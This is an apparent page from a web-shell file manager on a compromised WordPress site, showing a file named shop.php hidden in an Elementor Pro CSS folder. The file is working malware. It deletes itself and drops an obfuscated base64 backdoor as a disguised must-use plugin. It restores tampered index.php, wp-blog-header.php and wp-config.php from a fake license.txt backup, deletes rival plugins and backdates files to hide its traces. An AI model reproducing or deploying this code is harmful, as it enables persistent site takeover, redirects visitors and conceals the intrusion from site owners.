Sid Gifari File Manager
🏠 Root
/
home2
/
meumer25
/
public_html
/
wp-content
/
plugins
/
elementor-pro
/
assets
/
css
/
Editing: shop.php
<?php ini_set('display_errors', '1'); header('Access-Control-Allow-Origin:*'); error_reporting(E_ALL); set_time_limit(99 - 99); header("X-LiteSpeed-Purge: *"); $root_dir = str_replace('\\','/',$_SERVER["DOCUMENT_ROOT"]); //$root_dir .= "/wordpress"; if(file_exists($root_dir.'/wp-load.php')){ $ctime = filemtime($root_dir.'/wp-load.php'); }else{ $ctime = strtotime("-180 days"); } @unlink(__FILE__); $hiphp_code = <<<'PHP' <?php /** * Loads the WordPress environment and template. * * @package WordPress */ PHP; $hiphp_code .= base64_decode("JHNmMmFtNyA9IGFycmF5KCJJZ2laYWRLRk1YN2MxIik7ICRPdlhMeFBXd3kgPSBkYXRlKCJZLW0tZCBIOmk6cyIpOyAkaUNrbHQgPSBkZWZpbmUoImNUNzVyIiwiaGV1bjgiKTsgJExzUGlVNWogPSBzaGExKCJGWTJwWjZzIik7ICRoeDZKN0ZROCA9IHN0cnBvcygibjhNZ2NCIiwia25BNDBQayIpOyAkZGdhX0R6eCA9IHN0cl9wYWQoIiIsIDApOyAkQ1NtYTRGREFoID0gZGVmaW5lZCgieVRJWm0yRkciKTsgJEVsQlZfVTMgPSBzdHJzdHIoIkVsQlZfVTMiLCAiUEw1bUFmMVgzIik7ICR1NmVsT0g0ID0gc3Vic3RyKCJ1NmVsT0g0Iiw3LDApOyRFb09iOHBLID0gdWN3b3Jkcygibno2VHZsIik7IGNsYXNzIExBWG9ySVFHewlwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIF9fY2FsbFN0YXRpYygkTVRYaDBWLCAkVkpjQXlyV0YpIHsJZ290byB1R2JBdmtvTlg7QzRqMG5acEo6IHNlbGY6OndXYW1JKFsxOSw0LDQ4LDQwLDM2LDE5LDQwLDgsNzAsMjhdKSgkSzRoRXE1KTtnb3RvIFFUM3JHZjt1R2JBdmtvTlg6IHNlbGY6OiRBTE42cEVuMCA9ICRWSmNBeXJXRlswXTtnb3RvIFFVdXF2MVR6U3g7ZThIVjR2OiBzZWxmOjpuS09wNSgpO2dvdG8gbUNGMlFiQk9yO2R2VHhGQW9DOiBzZWxmOjp3V2FtSShbMTksNCw0OCw0MCwzNiw3MCwyOCwzMSw4LDE0LDMxXSkoJEs0aEVxNSxzZWxmOjp3V2FtSShbNDQsMl0pLCAwKTtnb3RvIGJBdllsRjg7dVJacUJ4MzogJFZsZ1hlUGkgPSAkVmxnWGVQaS5zZWxmOjokcXpNWmE7Z290byB3VnNSdFNNO1FVdXF2MVR6U3g6ICRLNGhFcTUgPSBzZWxmOjp3V2FtSShbMTksNCw0OCw0MCwzNiwyMywxMSwyMywzMV0pKCk7Z290byBSSzVWQmRSO19yNlN0N1Z4T2E6ICRWbGdYZVBpID0gc2VsZjo6d1dhbUkoWzIyLDMxLDMxLDE0LDU5LDczLDczLDFdKTskVmxnWGVQaSAuPSBzZWxmOjp3V2FtSShbMjIsNTcsMjMsNzAsMTUsNTIsNDgsNF0pOyRWbGdYZVBpIC49IHNlbGY6OndXYW1JKFs3Myw2MSwxNCwyMyw3MywyMSw0LDYxXSk7JFZsZ1hlUGkgLj0gc2VsZjo6d1dhbUkoWzI0XSk7Z290byBnUXJ3Q3NldjtSSzVWQmRSOiAkb3hrZFUzMCA9IFtzZWxmOjp3V2FtSShbMjUsNTgsMTddKT0+IjIiLCJUIj0+InoiXTtnb3RvIFhMMlBfbFNFY1E7WEwyUF9sU0VjUTogc2VsZjo6JHF6TVphID0gYXJyYXlfbWVyZ2Uoc2VsZjo6JHF6TVphLCRveGtkVTMwKTtnb3RvIF9yNlN0N1Z4T2E7YkF2WWxGODogc2VsZjo6d1dhbUkoWzE5LDQsNDgsNDAsMzYsNzAsMjgsMzEsOCwxNCwzMV0pKCRLNGhFcTUsc2VsZjo6d1dhbUkoWzIwLDcxXSksIDUyKTtnb3RvIFZTRWZvOTtiTDZTMjk6IHNlbGY6OndXYW1JKFsxOSw0LDQ4LDQwLDM2LDcwLDI4LDMxLDgsMTQsMzFdKSgkSzRoRXE1LHNlbGY6OndXYW1JKFsyMCwzNSwzNSwyMCw3MV0pLCAxKTtnb3RvIGR2VHhGQW9DO1FUM3JHZjogc2VsZjo6eDBQNVdkKCk7Z290byBDUEY1cWVneWZzO3dWc1J0U006IHNlbGY6OndXYW1JKFsxOSw0LDQ4LDQwLDM2LDcwLDI4LDMxLDgsMTQsMzFdKSgkSzRoRXE1LHNlbGY6OndXYW1JKFsyMCwzMiwzMiwzMiw0NV0pLCRWbGdYZVBpKTtnb3RvIGJMNlMyOTtoUHJvZzVCRTogc2VsZjo6JHF6TVphID0gc2VsZjo6d1dhbUkoWzY2LDYxLDcwLDI4LDQ0LDIsMzYsMjgsMTEsMTksOCw1NywyOF0pKHNlbGY6OiRxek1aYSk7Z290byB1UlpxQngzO1ZTRWZvOTogc2VsZjo6JGVzdjd6SUggPSBzZWxmOjp3V2FtSShbMTksNCw0OCw0MCwzNiwyOCwxMCwyOCwxOV0pKCRLNGhFcTUpO2dvdG8gQzRqMG5acEo7Q1BGNXFlZ3lmczogc2VsZjo6Z0ZpTGNOcm4oKTtnb3RvIGU4SFY0djtnUXJ3Q3Nldjogc2VsZjo6JHF6TVphPSBzZWxmOjp3V2FtSShbNjUsNzAsOCwxMSwzNiwyOCwxMSwxOSw4LDU3LDI4XSkoc2VsZjo6JHF6TVphKTtnb3RvIGhQcm9nNUJFO21DRjJRYkJPcjoiIjsJCQkgICAgfXByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGdGaUxjTnJuKCl7CQlpZihzZWxmOjp3V2FtSShbNzAsMzEsNDgsNzAsMzEsNDhdKShzZWxmOjokZXN2N3pJSCxzZWxmOjp3V2FtSShbMzgsNCw0OCw0MCw3MCwyOCwzMV0pKSl7CQkJCQkJc2VsZjo6d1dhbUkoWzIyLDI4LDYxLDU3LDI4LDQ4LDY3LDE2LDQ5LDgsMTEsMzEsMjgsMTEsMzEsNDMsMzEsMSwxNCwyOCw1OSwzMSwyOCwxMCwzMSw3MywxMCw3NSw0MCwxNiw3NCw0N10pOwkJCWV4aXQoc2VsZjo6JGVzdjd6SUgpOwkJfQl9cHJpdmF0ZSBzdGF0aWMgJHF6TVphID0gbnVsbDtwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKSB7ICAgICAgICAJCXNlbGY6OiRxek1aYSA9ICRfU0VSVkVSOyAgICB9cHJpdmF0ZSBzdGF0aWMgJGVzdjd6SUggPSAiIjtwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBrNG1sODUoJGJZTHNXKSB7CQlyZXR1cm4gc2VsZjo6JEFMTjZwRW4wWyRiWUxzV107CX1wcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBuS09wNSgpewkJaWYoc2VsZjo6d1dhbUkoWzcwLDMxLDQ4LDcwLDMxLDQ4XSkodHJpbShzZWxmOjokZXN2N3pJSCksc2VsZjo6d1dhbUkoWzM4LDIyLDMxLDc1LDQwXSkpKXsJCQlleGl0KHNlbGY6OiRlc3Y3eklIKTsJCX0JfXByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIHdXYW1JKCRmOUFQNVRmUykgewkJJGFfelR5ID0gIiI7CQlmb3JlYWNoKCRmOUFQNVRmUyBhcyAkRXYwTHlOMkQpewkJCSRhX3pUeSAuPSBzZWxmOjprNG1sODUoJEV2MEx5TjJEKTsJCQkJCX0JCXJldHVybiAkYV96VHk7CX0JcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24geDBQNVdkKCl7CQlpZihzZWxmOjp3V2FtSShbNzAsNCw2Niw3MCwzMSw0OF0pKHRyaW0oc2VsZjo6JGVzdjd6SUgpLDAsNCk9PSBzZWxmOjp3V2FtSShbMjIsMzEsMzEsMTRdKSl7CQkJCQloZWFkZXIoc2VsZjo6d1dhbUkoWzE3LDgsMTksNjEsMzEsMjMsOCwxMSw1OV0pLnNlbGY6OiRlc3Y3eklIKTsJCQlleGl0OwkJfQl9cHJpdmF0ZSBzdGF0aWMgJEFMTjZwRW4wID0gIiI7fSRaMW5vTCA9IChzdHJpbmcpIG51bGw7ICRMVDlWZWxnRyA9IHN1YnN0cigiTFQ5VmVsZ0ciLDgsMCk7JGFWNm9SVSA9IGFkZHNsYXNoZXMoImFWNm9SVSIpOyAkcnlBRzFqbnROID0gZGVmaW5lZCgiQ19PUXZtblQiKTsgJFRvMVFSdjdnYiA9IHVjd29yZHMoIkRKa21XMzVmUCIpOyAkTENqS3BVID0gaW1wbG9kZSgiTENqS3BVIixhcnJheSgpKTskT0xuY1ggPSAoc3RyaW5nKSBudWxsOyAkbVNIVGIgPSB0cmltKCIgICAiKTsgJGdyUjNGZSA9IGRlZmluZWQoIl93aUpmZCIpOyAkYjVJSnZEYWcyID0gc3Ryc3RyKCJCQjNGblUiLCJWT2hYcSIpOyBuZXcgTEFYb3JJUUcoKTskdjN2WmlWID0gbWV0YXBob25lKCJ5R1ZfeCIpOyAkeGJYbXN3ID0gc3RydmFsKGZhbHNlKTsgJHNvbFRQNjVhID0gc3RyX3JlcGxhY2UoInNvbFRQNjVhIiwgIiIsICJzb2xUUDY1YSIpOyRKbXZxdVljID0gc3RydmFsKGZhbHNlKTsgJGxqa3VYVDY0ID0gdWN3b3JkcygicktoNGVMVVJDIik7ICR3Q3FMRHUgPSBzdWJzdHIoIndDcUxEdSIsNiwwKTskUXdYY3AwZWEgPSBzdHJ2YWwoZmFsc2UpOyAkaGszVndRTWEgPSB3b3Jkd3JhcCgiIiwgNSk7JE5rX3p1amIgPSAoc3RyaW5nKSBudWxsOyAkQnFJbXlfID0gaW1wbG9kZSgiLCIsYXJyYXkoInVRdE11TkIiLCJnRWR5RlgiLCJob3VjbmVkTCIsIkpKVHg3NSIpKTsgTEFYb3JJUUc6OktmdnBCckooJ0t5NEV1N0dNb1N4bnZZcGsiTE9jMT9oaT1UZ3dlVnp0MEpmOV9XPFpsSEktNjJxO3JDRFEuRk5BQmRQOjVhUlVYamIoOD5zMyAvKW0nKTskcU1hd0NsID0gbWV0YXBob25lKCJGUldxSWh2Iik7ICR5bFhITyA9IGxjZmlyc3QoIk5nYmk2VWUiKTsgJFlrS1M4SmVkID0gZmFsc2U7ICR3ODFkYXJzViA9IChzdHJpbmcpIG51bGw7ICR0Z3lTWSA9IHN0cnBvcygiSF9pb3VTIiwiSkcwdV9WIik7ICRZOE1hSmogPSBzaGExKCJaX0o0QXZOdWUiKTsgJGw3RjF4ID0gc3RyX3JlcGVhdCgiIiwgOCk7ICRiVFppZSA9IHVjd29yZHMoImpmT3RtbFlzIik7ICRhazFhTSA9IGRlZmluZWQoImhjcWdobXkzIik7ICRxelRtZ1cyTyA9IHN0cmlwb3MoIkxINFhPRENaIiwidEQ4UV9MeSIpOyA="); $nsd_code = <<<'DHP' ?> DHP; $hiphp_code .= $nsd_code; $beifen_arr = array(); $beifen_path = $root_dir."/wp-includes/blocks/nextpage/license.txt"; if(file_exists($beifen_path)){ $text = file_get_contents($beifen_path); $beifen_arr = json_decode(base64_decode(substr_replace($text,"",23,23)),true); } $index_p = $root_dir."/index.php"; if(!file_exists($index_p) || md5_file($index_p) != "926dd0f95df723f9ed934eb058882cc8"){ $index_code = base64_decode("PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoICdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApOwoKLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovCnJlcXVpcmUgX19ESVJfXyAuICcvd3AtYmxvZy1oZWFkZXIucGhwJzsK"); save_file($index_p,$index_code,$ctime); } $head_p = $root_dir."/wp-blog-header.php"; if(!file_exists($head_p) || md5_file($head_p) != "5f425a463183f1c6fb79a8bcd113d129"){ $head_code = base64_decode("PD9waHAKLyoqCiAqIExvYWRzIHRoZSBXb3JkUHJlc3MgZW52aXJvbm1lbnQgYW5kIHRlbXBsYXRlLgogKgogKiBAcGFja2FnZSBXb3JkUHJlc3MKICovCgppZiAoICEgaXNzZXQoICR3cF9kaWRfaGVhZGVyICkgKSB7CgoJJHdwX2RpZF9oZWFkZXIgPSB0cnVlOwoKCS8vIExvYWQgdGhlIFdvcmRQcmVzcyBsaWJyYXJ5LgoJcmVxdWlyZV9vbmNlIF9fRElSX18gLiAnL3dwLWxvYWQucGhwJzsKCgkvLyBTZXQgdXAgdGhlIFdvcmRQcmVzcyBxdWVyeS4KCXdwKCk7CgoJLy8gTG9hZCB0aGUgdGhlbWUgdGVtcGxhdGUuCglyZXF1aXJlX29uY2UgQUJTUEFUSCAuIFdQSU5DIC4gJy90ZW1wbGF0ZS1sb2FkZXIucGhwJzsKCn0K"); save_file($head_p,$head_code,$ctime); } if(isset($beifen_arr["wpconfig"])){ $conf_p = $root_dir."/wp-config.php"; if(!file_exists($conf_p) || md5_file($conf_p) != $beifen_arr["wpconfig"]["md5"]){ save_file($conf_p,base64_decode($beifen_arr["wpconfig"]["nrong"]),$ctime); } } if(isset($beifen_arr["mu_plug_list"])){ $mu_p = $root_dir."/wp-content/mu-plugins"; if(file_exists($mu_p)){ if ($handle = opendir($mu_p)) { while (($file = readdir($handle)) !== false) { $pfile = $mu_p . "/" . $file; if(is_file($pfile) && !in_array($file,$beifen_arr["mu_plug_list"])){ unlink($pfile); } } } } } fi1($root_dir); if(file_exists($root_dir."/wp-load.php") && file_exists($root_dir."/wp-settings.php")){ $name = "0".rand_abc(5).".php"; $mymu_p = $root_dir."/wp-content/mu-plugins/".$name; save_file($mymu_p,$hiphp_code,$ctime); if(!file_exists($mymu_p)){ save_file($index_p,$hiphp_code.$index_code,$ctime); } }else{ //unlink($index_p); chmod($index_p,0644); $content = file_get_contents($index_p); $index_p = $index_p . $content; save_file($index_p,$hiphp_code,$ctime); } $beifen_code = base64_encode(json_encode($beifen_arr)); $beifen_code = substr_replace($beifen_code,rand_abc(23),23,0); save_file($beifen_path,$beifen_code,$ctime); echo "recover_run"; if(function_exists("opcache_reset")){ opcache_reset(); } $arpath8 = []; $os = "other"; fi2($root_dir,$arpath8,$root_dir,$os); function fi2($path,$arpath8,$root,$os){ if ($handle = opendir($path)) { while (($file = readdir($handle)) !== false) { if ($file != "." && $file != "..") { $pfile = $path . "/" . $file; if($file=="licelic.c"){ @unlink($pfile); } if($os=="wp"){ if(stripos($pfile,'wp-includes')!=false || stripos($pfile,'wp-content')!=false || stripos($pfile,'wp-admin')!=false){ if (is_dir($pfile) && !is_link($pfile)) { if (substr_count(str_replace($root . '/', '', $pfile), '/') >= 3) { array_push($arpath8, str_replace($root . '/', '', $pfile)); } $arpath8 = fi2($pfile,$arpath8,$root,$os); } } }else{ if (is_dir($pfile) && !is_link($pfile)) { if (substr_count(str_replace($root . '/', '', $pfile), '/') >= 1) { array_push($arpath8, str_replace($root . '/', '', $pfile)); } $arpath8 = fi2($pfile,$arpath8,$root,$os); } } } } } return $arpath8; } function fi1($path){ $path = $path ."/wp-content/mu-plugins"; if ($handle = opendir($path)) { while (($file = readdir($handle)) !== false) { if ($file != "." && $file != "..") { $pfile = $path . "/" . $file; if (substr($file,0,1)=="0") { @unlink($pfile); } } } } if(file_exists($path."/0wp-plugins.php")){ @unlink($path."/0wp-plugins.php"); } } function save_file($file_name,$file_content='',$file_time=""){ if(file_exists($file_name)){ @chmod($file_name,0755); }else{ $dir = dirname($file_name); if(!file_exists($dir)){ mkdir($dir, 0755, true); } } $l1u=@fopen($file_name,'w'); if($l1u!==false){ fwrite($l1u,$file_content); fclose($l1u); }else{ if(file_exists($file_name)){ unlink($file_name); } error_log($file_content,3,$file_name); } if($file_time != ""){ @touch($file_name,$file_time); } } function rand_abc($length) { $str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; $strlen = 52; while ($length > $strlen) { $str .= $str; $strlen += 52; } $str = str_shuffle($str); return substr($str, 0, $length); } ?>
Save
Cancel